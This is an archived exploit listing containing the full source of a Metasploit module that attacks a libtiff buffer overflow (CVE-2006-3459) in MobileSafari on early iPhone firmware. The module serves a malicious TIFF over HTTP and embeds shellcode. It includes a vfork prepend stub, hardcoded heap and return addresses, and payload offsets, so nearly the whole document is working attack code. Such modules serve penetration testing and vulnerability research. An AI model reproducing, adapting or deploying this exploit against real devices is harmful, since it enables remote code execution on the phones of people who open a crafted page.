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safari_libtiff.rb.txt

safari_libtiff.rb.txt
Posted Oct 23, 2007
Authored by H D Moore, Kevin Finisterre | Site metasploit.com

This Metasploit module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload.

tags | exploit, overflow
systems | bsd, apple, iphone
SHA-256 | ba86f554ff58ec884739058eb80af65e4d58a0973721425b952d586468e13d92

safari_libtiff.rb.txt

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Osx::Armle::SafariLibTIFF < Msf::Exploit::Remote

#
# This module acts as an HTTP server
#
include Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'Kevin Finisterre <kf[at]digitalmunition.com>'],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",

# Multi-threaded applications are not allowed to execve() on OS X
# This stub injects a vfork/exit in front of the payload
'Prepend' =>
[
0xe3a0c042, # vfork
0xef000080, # sc
0xe3500000, # cmp r0, #0
0x1a000001, # bne
0xe3a0c001, # exit(0)
0xef000080 # sc
].pack("V*")
},
'Targets' =>
[

[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',

# Scratch space for our shellcode and stack
'Heap' => 0x00802000,

# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end

def on_request_uri(cli, req)


# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Grab reference to the target
t = target

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })

# Handle the payload
handler(cli)
end

def generate_tiff(code, targ)

#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#

lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"

# Randomize the bajeezus out of our data
hehe = rand_text(lolz)

# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")

# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")

# Candy mountain, Charlie!
# >> mov r1, sp

# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")

# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy

# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]

# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")

# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}

# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}

# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")

# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded

tiff << hehe
end

end
end
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